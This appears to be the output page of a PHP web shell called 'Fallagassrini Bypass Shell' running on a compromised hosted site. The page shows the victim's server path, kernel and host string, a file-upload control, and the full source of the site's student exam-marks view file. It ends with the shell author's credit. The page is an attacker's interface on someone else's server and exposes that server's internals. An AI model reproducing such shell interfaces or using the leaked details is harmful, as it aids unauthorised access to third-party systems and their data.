? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/oscarerp.com/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/oscarerp.com/application/views/student/edit_performance.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>

<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_performance','view_performance','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Updating Performance evaluation/Exam</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('student/addinstudent/update_performance/view_performance/1', $attributes);
$emplyee = $this->mastermodel->getdatas('employee', 'employee_id', '', 'employee_id');
$batch = $this->mastermodel->getdatas('batch', 'batch_id');
$exam = $this->mastermodel->getdatas('exammaster', 'exammaster_id');
$batch_details = $this->mastermodel->get_data_srow('batch', $viewinfo->batch_id, 'batch_id');
?>
<div class="grid_6">
    <div class="box">
        <div class="header main">Performance evaluation/Exam  Details </div>
        <div class="content no-padding">

            <div class="section _100">
                <label>Class Code</label>
                <div   class="single_page"> 
                    <?= $batch_details->batch_no; ?>
                </div>
            </div> 

            <div class="section _100">
                <label>Teacher Name</label>
                <div   class="single_page"> 
                    <?= $this->mastermodel->get_single_field_value('employee', 'employee_name', 'employee_id', $batch_details->teacher_id); ?>
                </div>
            </div>
            <div class="section _100">
                <label>Course Name</label>
                <div   class="single_page"> 
                    <?= $this->mastermodel->get_single_field_value('course', 'course_name', 'course_id', $batch_details->course_id); ?>
                </div>
            </div>


            <div class="section _100">
                <label>Exam Name </label>
                <div   class="single_page"> 
                    <?= $this->mastermodel->get_single_field_value('exammaster', 'exammaster_name', 'exammaster_id', $viewinfo->exam_id); ?>
                </div>
            </div>  

            <div class="section _100">
                <label>Date Of Test</label>
                <div>
                    <input name="test_date" id="test_date" type="text" disabled class="calfocus" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->test_date) ?>" />
                </div>
            </div>


            <div class="section _100">
                <label>Remarks </label>
                <div>
                    <textarea name="remarks" id="remarks" type="text"><?= $viewinfo->remarks ?></textarea>

                </div>
            </div>


        </div>

    </div>
</div>

<div class="grid_12">
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">  Performance evaluation /Exam Marks Details</div>
            <div style="overflow-x:scroll;">
                <table class="table" id="stud_sub">
                    <thead id="stud_sub_head">
                        <tr>
                            <td style="text-align: center;width: 120px;height: 30px;">Sl no</td>
                            <td style="text-align: center;">Student Name</td> 
                            <td style="text-align: center;width: 120px;">Student No</td> 
                            <td style="text-align: center;width: 200px;">Gender</td> 
                             <td style="text-align: center;width: 200px;">Nationality</td> 
                            <?php
                            
//                            $sub_marks=$this->mastermodel->get_data_joined('performance_exam_subject','student','student_id','student_id',$viewinfo->performance_id,'performance_id');

                            $course = $this->mastermodel->get_single_field_value('batch', 'course_id', 'batch_id', $viewinfo->batch_id);
                            $sub = $this->mastermodel->get_data('course_subject', $course, 'course_id');
                            $student = $this->studentmodel->get_batch_student_details($viewinfo->batch_id, $course);
                            $i = 1;
                            foreach ($sub as $list) {
                                $std_student = $this->studentmodel->get_std_subjects($list['id'], $viewinfo->performance_id);
                                $subjects = $this->mastermodel->get_single_field_value('subject', 'subject_name', 'subject_id', $list['subject_id']);
                                ?>
                        <input type="hidden" name="subject_<?= $i ?>" value="<?= $list['id'] ?>"/>
                        <td style="text-align: center" colspan="2"><?= $subjects; ?></td>
                        <?php
                        $i++;
                    }
                    ?>       
                    </tr>
                    <tr>
                        <td colspan="5"> </td>
                        <?php
                        for ($i = 1; $i <= sizeof($sub); $i++) {
                            ?>
                            <td style="text-align: center">Marks/ Grade</td>
                            <td style="text-align: center">Remarks</td>
                            <?php
                        }
                        ?>

                    </tr>
                    </thead>
                    <tbody  id="stud_sub_body">

<?php
$j = 1;

if(sizeof($student)>0)
{
foreach ($student as $row) {
$deactivate = $this->studentmodel->check_deactivate($viewinfo->batch_id, $row['student_id'], $this->mastermodel->convertdatenormalformat($viewinfo->test_date));
    $sub_marks = $this->studentmodel->get_marks($row['student_id'], $viewinfo->performance_id);
    $studnt_name = $this->mastermodel->get_data_srow_joined('student', 'nationality', 'nationality_id', 'nationality_id',$row['student_id'], 'student_id');
    ?>
                            <tr>
                        <input type="hidden" name="student_id_<?= $j ?>" value="<?= $row['student_id'] ?>"/> 
                        <td style="text-align: center;height: 30px;"><?= $j ?></td>
                        <td><?= $studnt_name->first_name . " " . $studnt_name->last_name ?></td>
                        <td style="text-align: center"><?= $studnt_name->reg_no ?></td>
                        <td style="text-align: center"><?= $studnt_name->gender ?></td>
                        <td style="text-align: center"><?= $studnt_name->nationality_name ?></td>
                        <?php
                        $k = 1;
                        if ($deactivate > 0) {
                        foreach ($sub_marks as $list) {
                            ?>
                            <td style="text-align: center;height: 30px;"><input type="text" name="marks_<?= $row['student_id'] . $k ?>" style="width: 120px;height: 30px;" readonly value="deactivate" /></td>
                            <td style="text-align: center;height: 30px;"><input readonly style="width: 120px;height: 30px;" name="remarks_<?= $row['student_id'] . $k ?>" id="remark_<?= $i ?>" type="text" value="deactivate"/>
                            <?php
                        
                            $k++;
                        }
                        }
                        else
                        {
                            foreach ($sub_marks as $list) {
                            ?>
                            <td style="text-align: center;height: 30px;"><input type="text" name="marks_<?= $row['student_id'] . $k ?>" style="width: 120px;height: 30px;" value="<?= $list['marks'] ?>" /></td>
                            <td style="text-align: center;height: 30px;"><textarea  style="width: 120px;height: 30px;" name="remarks_<?= $row['student_id'] . $k ?>" id="remark_<?= $i ?>" type="text"><?= $list['remarks'] ?></textarea>
                            <?php
                       
                            $k++;
                            }
                        }
                        if (sizeof($sub) > sizeof($sub_marks)) {
                            $a = sizeof($sub_marks) + 1;
                            for ($i = $a; $i <= sizeof($sub); $i++) {
                                ?>

                                <td style="text-align: center;height: 30px;"><input type="text" name="marks_<?= $row['student_id'] . $i ?>" style="width: 120px;height: 30px;" /></td>
                                <td style="text-align: center;height: 30px;"><textarea  style="width: 120px;height: 30px;" name="remarks_<?= $row['student_id'] . $i ?>" id="remark_<?= $i ?>" type="text"></textarea>
                                    <?php
                                }
                            }
                            ?>
                            </tr>
                            <?php
                            $j++;
                        }
}
                        ?>

                        </tbody>

                </table>
            </div>
        </div>
    </div>
</div> 







<div class="grid_12" >
    <div class="box">
        <div class="actions">
            <div class="actions-left">
                <input type="reset" />
                <input type="hidden" name="performance_id" value="<?= $viewinfo->performance_id ?>"/>
            </div>
            <div class="actions-right">
                <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
            </div>
        </div>
    </div>
</div>

<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net